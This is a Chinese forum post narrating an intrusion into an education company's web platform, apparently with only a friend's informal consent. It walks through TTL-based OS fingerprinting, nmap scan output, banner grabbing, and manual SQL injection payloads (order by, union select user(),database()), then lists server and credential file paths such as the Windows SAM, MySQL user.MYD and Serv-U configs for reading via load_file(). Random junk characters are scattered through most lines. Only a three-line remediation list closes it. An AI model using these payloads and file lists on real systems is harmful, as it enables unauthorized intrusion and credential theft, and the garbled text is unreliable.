题记：% J0 A4 a, k6 F! Z
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
1 Y8 g2 o" S( |# `& R第一步：获取需要的信息3 e4 m7 u. ]) R# c
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。6 ~! k+ H5 P @ v4 U C
注：以下为保护特用XXX代替敏感信息
" j: L, X2 \# t4 R; K! u顺手先PING了一下他们的域名：$ m$ m r7 j" B& q$ I- h6 m
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
) u q. j; V- Q H1 P64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms- m* J# r% n( @7 V. x# f9 x# F/ \
顺便了解一下TTL，学好基础知识才能一路顺风：# l+ o/ M/ V& {6 m
TTL：(Time To Live ) 生存时间
0 J/ I7 \9 [1 L指定数据包被路由器丢弃之前允许通过的网段数量。 l( ?% G: V5 @7 e7 K
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
! b# S& o8 z+ S8 h使用PING时涉及到的 ICMP 报文类型5 N7 M# o Q& s, D
一个为ICMP请求回显（ICMP Echo Request）
, v' R4 G/ P% c$ N( W+ r一个为ICMP回显应答（ICMP Echo Reply）1 f& i. H1 E1 O% o, J9 R, _7 v ~% c
TTL 字段值可以帮助我们识别操作系统类型。6 C8 z: S; h* r9 k: M# H
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
$ I. Z! u8 M; n4 i, H7 l% xCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 647 K C+ N0 I# R0 \# O1 B
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128) Z& Q' O2 E2 B9 u5 \: \, D! o
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32! d% P, j* L' z
当然，返回的TTL值是相同的
+ h' ~0 k% c/ A但有些情况下有所特殊+ r: Z: c/ E, j9 B3 i
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
3 V7 y" g1 q/ H* e U; cFreeBSD 4.1, 4.0, 3.4;
|) t. d/ P% y, ]Sun Solaris 2.5.1, 2.6, 2.7, 2.8;& L4 D# p, t+ k& R" f
OpenBSD 2.6, 2.7,
% a# L1 \4 E! z; e# H5 D+ ~) |NetBSD; Y. g) X3 c) M/ ^
HP UX 10.20
, _7 @6 H4 A' ?ICMP 回显应答的 TTL 字段值为 255
1 q4 }4 k( e, j" o- e& O8 C9 nWindows 95/98/98SE1 j/ D& K. ~6 X# I8 z! Z
Windows ME
% ]+ b+ z3 t# ]! zICMP 回显应答的 TTL 字段值为 32
. Z- B$ n( J. p4 dWindows NT4 WRKS
1 m( `2 i$ p- X5 ] uWindows NT4 Server; d- z8 |# _7 P$ u( {
Windows 2000
; x2 d) r3 k9 t0 Y$ GWindows XP; y1 m3 M4 Z2 a) s9 U2 _
ICMP 回显应答的 TTL 字段值为 128
" b: @' x* a0 f7 j4 W这样，我们就可以通过这种方法来辨别操作系统! w0 S4 c, x/ Q+ H! z
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255: Z& a$ }: C) A1 I; g4 X& \* U
用NMAP扫描一下：* r- a9 D" S. I
nmap -sT -O XXX.XXX.XXX.XXX
5 O8 ? e$ A8 q如果没有装WinPcap则会弹出提示：
% l6 P3 ^, T$ d( C* A, }WARNING: Could not import all necessary WinPcap functions. You may need to upgr8 V1 G1 a; X) _/ K7 K7 O
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
3 \0 E" _# i/ x: x' @8 K) mode — Nmap may not function completely
) }$ ~# c2 r$ M* VTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher* A! K2 H { h
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win. X1 ?% L4 ~" C0 ]2 S/ |
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an; q6 e' B2 ~- Z C2 D$ ^2 O) Y
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v6 n! e- ~) P$ `, S, n; c
ersions, you may be able to take iphlpapi.dll from another system and place it i; f5 H- f2 w( d, R& Q) ^) X
n your system32 dir (e.g. c:\windows\system32).
8 V% {/ u1 T6 [4 U# @+ I: z1 PQUITTING!8 x6 u& B; [4 o
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
% m6 u! b1 i- I( K! t4 C: M安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：
) `$ o$ e) i( j0 |! }8 q" J; I J" jInteresting ports on XXX.XXX.XXX.XXX:# f q" ?- f4 n, A. }
Not shown: 986 closed ports
' r8 s: O+ \0 N9 x' hPORT STATE SERVICE( \6 Y& M8 P3 k
21/tcp open ftp
0 k& D, k' X: D- s8 w& B3 {3 B22/tcp open ssh* y. h3 \9 @5 S* R
23/tcp open telnet
i8 ?' R- h2 ]% P5 \# i# Z. R80/tcp open http0 j. H6 w6 X$ U& A' i
111/tcp open rpcbind
4 r! S B+ @8 K3 F4 V8 M, \135/tcp filtered msrpc! E z/ N+ g2 g& L3 [
139/tcp filtered netbios-ssn
7 u$ B) ?0 n' O# y445/tcp filtered microsoft-ds
. p+ e6 b' Q5 l+ [513/tcp open login" @0 w5 f" k: w& p1 C
514/tcp open shell# Q" X, a# X# g4 q; ^) T; h
593/tcp filtered http-rpc-epmap& W2 _- {$ Y! m0 C4 B9 M
1720/tcp filtered H.323/Q.9314 |% P4 ^3 q+ ?; U- J, m4 j
3306/tcp open mysql# S7 o9 t- E U, x% Y
4444/tcp filtered krb524
0 p$ D6 e- q( M* |( VDevice type: WAP u% B1 Y2 h/ S! E/ W1 V
Running: Linux 2.4.X3 f/ E. m, S. O' I: `+ n
OS details: DD-WRT (Linux 2.4.35s)
0 N3 h8 S5 L2 b0 G! K FNetwork Distance: 13 hops
6 `$ w8 s! X' j, T8 U, v( p看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
: i( z/ s: z8 |' r& ~0 {+ Qlogin as:% Q2 U* g& h4 o3 |: Y
Telnet23端口也是开着的，用telnet 命令链接一下：
- v2 m' ]$ J$ Etelnet XXX.XXX.XXX.XXX% l% G+ Q0 Q- M" I& w
提示：
+ Q9 U8 X, D' _& D+ G) Z$ kRed Hat Enterprise Linux Server release 5.2 (Tikanga)
( V( O3 Y9 g7 ~& b' i! ]Kernel 2.6.18-92.el5PAE on an i686, t' C- u1 x5 J: P d
login:
( S0 S3 n' J9 [. v/ p$ R* t获取HTTP头信息：' U s* @- A! o' c% N) I
在本地执行如下PHP代码
' c, U, E2 y0 X( v. e$ |<?php
3 c6 C8 u" q8 Y, e+ W5 N6 H$url = ‘XXX.XXX.XXX.XXX’;; y3 n6 k0 b$ I1 _# K- R6 x F5 v
print_r(get_headers($url));& _2 i) B. W1 ]/ {, j8 G, L
print_r(get_headers($url, 1));. u3 k+ A2 o7 x' A( h' I2 ~: Y' q
?>! X) K* o0 y" x& Z! M% @% l" b) }4 y
将以上代码保存为PHP文件，执行：" m( R! w S" F; C0 T7 E3 V
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
: R1 @: G n/ ]; D3 t, u2 A1 i+ y现在可以得出结论：- _! X% @: Y" C# p3 }
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
' P. Q) h1 Y' B& M9 B- N6 y内核版本：Kernel 2.6.18-92.el5PAE on an i6862 k8 o1 e1 h0 W1 q) ^
WEB服务器版本：nginx/0.7.61
$ S6 I5 e+ [0 E0 k第二步，开始测试寻找漏洞
( S0 b+ _1 c3 S0 r% J1 E( I7 v* v分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。- f3 @6 G; B, B/ h$ T2 Z
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
3 Q9 U2 z' B' t' _( P" K2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
/ m3 s _: _0 t% u% a5 Ghttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
V" }+ F$ L/ v6 b; a. B6 ~9 ^http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误1 i/ u+ {' v' j ?2 t* \& { l
恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
4 ^+ y# v. `2 Y- y ~3、手工注入：7 }% l% C8 N- G5 j6 p% ]: }$ F, }
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
, p1 T; R1 I, M5 [# f" j' L! y3.1 猜测当前表字段数
+ }, T- `0 Y& N/ Thttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10* o2 b- [2 `2 d2 r$ A/ M
此处猜测有个简单的算法，都是有技巧的吗，呵呵9 w g# G9 Q9 }/ I) |
算法简单如下：
: {0 }; r9 o8 i第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；; V/ Q5 \; K- D* ? U" C' d) _( o
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；4 C( p" \& P5 `" @0 ]) F
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
6 t# Q# @" Z4 K5 y) l3 e; Z以此来判断，是否过界，配合取中算法猜出字段数。7 e+ u; ~8 m& k
举例：
' M: g* d) H& ]" V( h. fhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
5 c/ d( ?$ c% r nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
$ ~3 h4 {( ]7 v. o) B8 s此时3则为我们要找的字段数。 T% ?# Y& K# v1 n
3.2 配合union联合查询字段在页面所位置0 h0 Q) p% s$ z% r+ i4 A/ v
我们已经知道了字段数为3，此时则可以做如下操作：0 n. {) u* e2 ^) F2 H
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
* S4 |+ r/ a0 x' N; o& u2 U( {4 p w2 @! V: a: F; R7 }
这样就可以测试到哪些字段在页面上有所显示了，如图：# Z9 P3 Q. y3 X( I J
+ ^2 ?; W( E8 @; ^
3.3 查敏感信息
% x0 P9 z1 m( H" G! e. r% l这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
2 g: c2 R+ b6 F G8 ghttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()7 w. _( W! i' \8 E6 j" d2 o' E
3.3.1 先查数据库用户、数据库名，以备后用，如图：) e R! w5 C# g' N
6 U/ p! c' V/ A) [ m1 a( U
得到数据库用户为root、数据库名为DBxx；; [/ t7 P' T' j2 v3 s4 S5 K
3.3.2 查配置文件, _ A- L4 g8 H7 J! G
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
3 {' ?0 E( l# w0 D' A+ R9 p: O查看文件有一定的条件限制：, T$ y% J5 t" N: m% ^ O
欲读取文件必须在服务器上. a6 h9 D) H4 u4 x2 s- v( Y8 Z) f
必须指定文件完整的路径" p% O/ f( u2 H7 k1 Z- F1 r- e9 j2 V
必须有权限读取并且文件必须完全可读
3 o% r3 w' j4 P. f1 @; k欲读取文件必须小于 max_allowed_packet! s2 t" k8 Y; f7 |" ^9 x' {8 j
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。* y, d, B2 j8 |
常用的一些：
0 d2 A2 m+ J2 U9 K) W" H% G' W/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件2 @" w. S, `9 k4 a; h! N/ `
/usr/local/apache2/conf/httpd.conf
7 |$ X/ O4 i$ G5 G+ O- K/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
# @( L, _+ t/ f/usr/local/app/php5/lib/php.ini //PHP相关设置0 F( }2 l" n9 t, e; _
/etc/sysconfig/iptables //从中得到防火墙规则策略
$ H5 E2 E5 W( B* g4 L$ P/etc/httpd/conf/httpd.conf // apache配置文件" j/ U0 ^. ^) E, ` f% M( _
/etc/rsyncd.conf //同步程序配置文件
4 d; D5 m1 U, j* k4 L/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
; a+ V4 o& }0 E6 c/etc/my.cnf //mysql的配置文件0 A7 a9 ?- q/ @. _1 D
/etc/redhat-release //系统版本
, W, P; S! _6 V: U, E/etc/issue
+ u. K& K5 k8 f* @3 O/etc/issue.net4 G5 J, O$ U, V7 {9 G
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
# D1 M! t5 A4 Dc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
$ i, l0 b, M- x C* z! G$ A8 e3 f6 Sc:\Program Files\Serv-U\ServUDaemon.ini
( {. U4 Q6 u/ Q" g- K- v2 U1 ec:\windows\my.ini //MYSQL配置文件8 A+ _) V' l7 ?+ a L1 `2 {
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件5 j3 a* r! p2 q- I' @/ u
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
9 m# T0 m q( N6 P2 Z1 T* A7 C6 ec:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
& ^3 q: d. [8 x. o" v) uc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
" s% p( d8 g( L0 A7 | |c:\Program Files\RhinoSoft.com\ServUDaemon.exe0 Y, a5 M. |# M$ c
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
4 ^( R2 `3 s( b: ^1 x$ O//存储了pcAnywhere的登陆密码9 A. Z) w- [, R# l- s0 _
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
$ T, k# t1 v8 O. }% S3 s这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。; L7 `: E* n1 Z, u2 t. w& ~
最后：防范措施
" ?' F9 R% z% j/ @. q1、修复PHP注入漏洞；
: U, |8 h l( v+ A) {2、Mysql使用普通权限的用户；
! `1 }% @6 M' U% }5 l3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对